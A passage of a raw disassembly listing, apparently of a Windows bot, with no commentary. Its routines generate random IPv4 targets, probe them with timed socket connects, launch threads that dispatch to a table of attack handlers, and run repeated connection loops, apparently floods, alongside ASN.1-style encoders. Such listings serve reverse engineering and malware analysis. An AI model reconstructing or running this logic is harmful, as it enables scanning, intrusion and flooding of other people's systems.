sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEB3	proc near		; CODE XREF: sub_40C034:loc_40C0A5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4D1340h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_4D1118
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_4D11EC
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	near ptr sub_41C9B0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BEB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEFB	proc near		; CODE XREF: sub_40C034+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B890
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40BF23
		xor	eax, eax
		jmp	short loc_40BF94
; ---------------------------------------------------------------------------


loc_40BF23:				; CODE XREF: sub_40BEFB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE5
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40BF50
		call	sub_41BF92
		mov	[ebp+var_C], eax


loc_40BF50:				; CODE XREF: sub_40BEFB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40BF5D
		call	sub_41BF92
		mov	[ebp+var_8], eax


loc_40BF5D:				; CODE XREF: sub_40BEFB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40BF6A
		call	sub_41BF92
		mov	[ebp+var_4], eax


loc_40BF6A:				; CODE XREF: sub_40BEFB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40BF76
		call	sub_41BF92


loc_40BF76:				; CODE XREF: sub_40BEFB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_4D1340[ecx*8],	eax


loc_40BF94:				; CODE XREF: sub_40BEFB+26j
		pop	esi
		leave
		retn
sub_40BEFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF97	proc near		; CODE XREF: seg000:0040B80Ep
					; sub_40C034+B8p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_4D1270
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40BFC0
		xor	eax, eax
		jmp	short loc_40C02F
; ---------------------------------------------------------------------------


loc_40BFC0:				; CODE XREF: sub_40BF97+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_4D11F0
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_4D128C
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4D1198
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_4D11D8
		push	esi
		mov	edi, eax
		call	ds:dword_4D1288
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C02F:				; CODE XREF: sub_40BF97+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C034	proc near		; DATA XREF: seg000:0040C383o

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C07B:				; CODE XREF: sub_40C034+200j
		mov	eax, ds:dword_444124[ebx]
		cmp	ds:dword_4D1344[eax*8],	0
		jz	loc_40C239
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C0A5
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BEFB
		pop	ecx
		jmp	short loc_40C0AA
; ---------------------------------------------------------------------------


loc_40C0A5:				; CODE XREF: sub_40C034+60j
		call	sub_40BEB3


loc_40C0AA:				; CODE XREF: sub_40C034+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_444124[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4387F4
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_443F20[ebx]
		push	eax
		call	sub_41BF36
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40BF97
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40C229
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C17E
		push	offset dword_4D3340
		call	ds:dword_4270D4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4387CC
		push	eax
		call	sub_41BF36
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C160
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C154
		lea	eax, [ebp+var_140]


loc_40C154:				; CODE XREF: sub_40C034+118j
		push	eax
		push	[ebp+var_40]
		call	sub_4099D2
		add	esp, 14h


loc_40C160:				; CODE XREF: sub_40C034+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4157A6
		mov	[esp+2A8h+var_2A8], offset dword_4D3340
		call	ds:dword_4270D0	; RtlLeaveCriticalSection
		jmp	loc_40C229
; ---------------------------------------------------------------------------


loc_40C17E:				; CODE XREF: sub_40C034+CDj
		push	edi
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41BF36
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41BF36
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C1C2
		lea	eax, [ebp+var_140]


loc_40C1C2:				; CODE XREF: sub_40C034+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41BF36
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	ds:off_43804C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C229:				; CODE XREF: sub_40C034+C3j
					; sub_40C034+145j
		push	7D0h
		call	ds:dword_427064	; Sleep
		jmp	loc_40C07B
; ---------------------------------------------------------------------------


loc_40C239:				; CODE XREF: sub_40C034+55j
		push	esi
		call	sub_40B32A
		pop	ecx
		push	0
		call	near ptr 0B00000h


loc_40C247:				; DATA XREF: seg000:00403A4Fo
					; seg000:004076ABo
		mov	ebx, 81EC8B55h
sub_40C034	endp ; sp-analysis failed

		in	al, dx
		int	3		; Trap to Debugger
		add	[eax], eax
		add	[ebx+56530845h], cl
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-14Ch]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp-14Ch]
		push	eax
		call	ds:dword_4D1230
		mov	ecx, [ebp-2Ch]
		sub	esp, 14Ch
		lea	esi, [ebp-14Ch]
		push	53h
		mov	ds:dword_4D1340[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	near ptr sub_40B9DD
		push	0Bh
		call	sub_40B256
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C316
		mov	esi, offset dword_4D3340
		push	esi
		call	ds:dword_4270DC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_4270D8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40C316
		lea	eax, [ebp-1CCh]
		push	offset unk_4388D8
		push	eax
		call	sub_41BF36
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp-10h], ebx
		pop	ecx
		jnz	short loc_40C300
		push	ebx
		lea	eax, [ebp-1CCh]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-3Ch]
		call	sub_4099D2
		add	esp, 14h


loc_40C300:				; CODE XREF: seg000:0040C2E1j
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_4157A6
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C316:				; CODE XREF: seg000:0040C2ABj
					; seg000:0040C2C7j
		mov	eax, [ebp-2Ch]
		mov	esi, ds:dword_427064
		mov	edi, ebx
		mov	ds:dword_4D1344[eax*8],	ebx
		xor	ebx, ebx
		cmp	dword ptr [ebp-20h], 1
		jb	loc_40C3E3


loc_40C334:				; CODE XREF: seg000:0040C3DDj
		push	edi
		lea	eax, [ebp-14Ch]
		push	dword ptr [ebp-2Ch]
		mov	[ebp-24h], edi
		push	dword ptr [ebp-38h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset unk_4388A4
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-1CCh]
		push	0Bh
		push	eax
		call	sub_40B00E
		mov	[ebp-28h], eax
		imul	eax, 234h
		mov	ecx, [ebp-2Ch]
		add	esp, 24h
		mov	ds:dword_444124[eax], ecx
		lea	eax, [ebp-14Ch]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C034
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-28h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40C3AE


loc_40C3A3:				; CODE XREF: seg000:0040C3ACj
		cmp	[ebp-4], ebx
		jnz	short loc_40C3D5
		push	1Eh
		call	esi ; dword_427064
		jmp	short loc_40C3A3
; ---------------------------------------------------------------------------


loc_40C3AE:				; CODE XREF: seg000:0040C3A1j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset unk_43886C
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_4157A6
		add	esp, 10h


loc_40C3D5:				; CODE XREF: seg000:0040C3A6j
		push	1Eh
		call	esi ; dword_427064
		inc	edi
		cmp	edi, [ebp-20h]
		jbe	loc_40C334


loc_40C3E3:				; CODE XREF: seg000:0040C32Ej
		cmp	[ebp-30h], ebx
		jz	loc_40C48D
		mov	eax, [ebp-30h]
		imul	eax, 0EA60h
		push	eax
		call	esi ; dword_427064


loc_40C3F8:				; CODE XREF: seg000:0040C498j
		push	dword ptr [ebp-30h]
		mov	eax, [ebp-2Ch]
		push	dword ptr [ebp-38h]
		mov	eax, ds:dword_4D1340[eax*8]
		push	eax
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset unk_43882C
		push	eax
		call	sub_41BF36
		add	esp, 14h
		cmp	[ebp-10h], ebx
		jnz	short loc_40C446
		push	ebx
		lea	eax, [ebp-1CCh]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-3Ch]
		call	sub_4099D2
		add	esp, 14h


loc_40C446:				; CODE XREF: seg000:0040C427j
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_4157A6
		mov	eax, [ebp-2Ch]
		mov	dword ptr [esp], 0BB8h
		mov	ds:dword_4D1344[eax*8],	ebx
		call	esi ; dword_427064
		push	0Bh
		call	sub_40B256
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C47D
		push	offset dword_4D3340
		call	ds:dword_4270DC	; RtlDeleteCriticalSection


loc_40C47D:				; CODE XREF: seg000:0040C470j
		push	dword ptr [ebp-2Ch]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B00000h
		pop	eax


loc_40C48D:				; CODE XREF: seg000:0040C3E6j
					; seg000:0040C4A5j
		mov	eax, [ebp-2Ch]
		cmp	ds:dword_4D1344[eax*8],	1
		jnz	loc_40C3F8
		push	7D0h
		call	esi ; dword_427064
		jmp	short loc_40C48D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C4A7	proc near		; DATA XREF: sub_40C574+7Bo
					; sub_40C665+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	ds:dword_4D11F0
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	ds:dword_4D1270
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C565
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4D1198
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_44412C[ecx], esi
		jz	short loc_40C565
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	ds:dword_4D127C
		push	eax
		mov	edi, offset dword_4D3D04
		push	offset unk_43890C
		push	edi
		call	sub_41BF36
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_4099D2
		push	edi
		call	sub_4157A6
		add	esp, 28h


loc_40C565:				; CODE XREF: sub_40C4A7+5Dj
					; sub_40C4A7+7Ej
		push	esi
		call	ds:dword_4D1288
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C4A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40C574	proc near		; DATA XREF: seg000:00407A9Bo

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, ds:dword_427064
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C5A2:				; CODE XREF: sub_40C574+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_438934
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_443F20
		push	eax
		call	sub_41BCA0
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40C4A7
		push	edi
		push	edi
		call	ds:dword_42707C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40C60E


loc_40C603:				; CODE XREF: sub_40C574+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40C60E
		push	32h
		call	esi ; dword_427064
		jmp	short loc_40C603
; ---------------------------------------------------------------------------


loc_40C60E:				; CODE XREF: sub_40C574+8Dj
					; sub_40C574+92j
		push	[ebp+var_4]
		call	ds:dword_42706C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi ; dword_427064
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_4D1118
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_4D11EC
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		jmp	loc_40C5A2
sub_40C574	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C665	proc near		; DATA XREF: seg000:004077B1o

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_427064
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C693:				; CODE XREF: sub_40C665+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_438988
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_443F20
		push	eax
		call	sub_41BCA0
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40C4A7
		push	edi
		push	edi
		call	ds:dword_42707C	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40C6FF


loc_40C6F4:				; CODE XREF: sub_40C665+98j
		cmp	[ebp+var_8], edi
		jnz	short loc_40C6FF
		push	32h
		call	esi ; dword_427064
		jmp	short loc_40C6F4
; ---------------------------------------------------------------------------


loc_40C6FF:				; CODE XREF: sub_40C665+8Dj
					; sub_40C665+92j
		push	[ebp+arg_0]
		call	ds:dword_42706C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi ; dword_427064
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40C726
		inc	[ebp+var_2C]
		jmp	loc_40C693
; ---------------------------------------------------------------------------


loc_40C726:				; CODE XREF: sub_40C665+B7j
		push	[ebp+var_1C]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_43895C
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_4099D2
		push	[ebp+var_20]
		call	sub_40B32A
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40C665	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C772	proc near		; CODE XREF: sub_40C9E6+Ep
					; sub_40C9E6+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C772	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C77C	proc near		; CODE XREF: sub_40C9E6+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BBCB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C7AE
		push	ebx
		push	0
		push	edi
		call	sub_41BC40
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	near ptr sub_41C9B0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C7AE:				; CODE XREF: sub_40C77C+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C77C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C7B6	proc near		; CODE XREF: sub_40C8B0+18p
					; sub_40C92A+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C802
		push	edi
		push	0
		push	esi
		call	sub_41BC40
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	near ptr sub_41C9B0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C802:				; CODE XREF: sub_40C7B6+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C7B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C80B	proc near		; CODE XREF: sub_40C8B0+5Ep
					; sub_40C8B0+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C81B
		push	eax
		call	sub_41B961
		pop	ecx


loc_40C81B:				; CODE XREF: sub_40C80B+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C80B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C824	proc near		; CODE XREF: sub_40C8B0+20p
					; sub_40C98B+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C851
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BBCB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C855


loc_40C851:				; CODE XREF: sub_40C824+Dj
		xor	al, al
		jmp	short loc_40C8AC
; ---------------------------------------------------------------------------


loc_40C855:				; CODE XREF: sub_40C824+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BC40
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C87A
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C894
; ---------------------------------------------------------------------------


loc_40C87A:				; CODE XREF: sub_40C824+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C894:				; CODE XREF: sub_40C824+54j
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B961
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C8AC:				; CODE XREF: sub_40C824+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C824	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B0	proc near		; CODE XREF: sub_40C9E6+89p
					; sub_40C9E6+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4D10A8
		call	sub_40C7B6
		lea	ecx, [ebp+var_8]
		call	sub_40C824
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BBCB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C8EA
		xor	al, al
		jmp	short loc_40C926
; ---------------------------------------------------------------------------


loc_40C8EA:				; CODE XREF: sub_40C8B0+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BC40
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C80B
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C80B
		mov	al, 1


loc_40C926:				; CODE XREF: sub_40C8B0+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C8B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C92A	proc near		; CODE XREF: sub_40C95E+14p
					; sub_40C97B+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C7B6
		mov	ecx, esi
		call	sub_40C80B
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40C92A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C95E	proc near		; CODE XREF: sub_40C9E6+F0p
					; sub_40C9E6+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B890
		pop	ecx
		push	eax
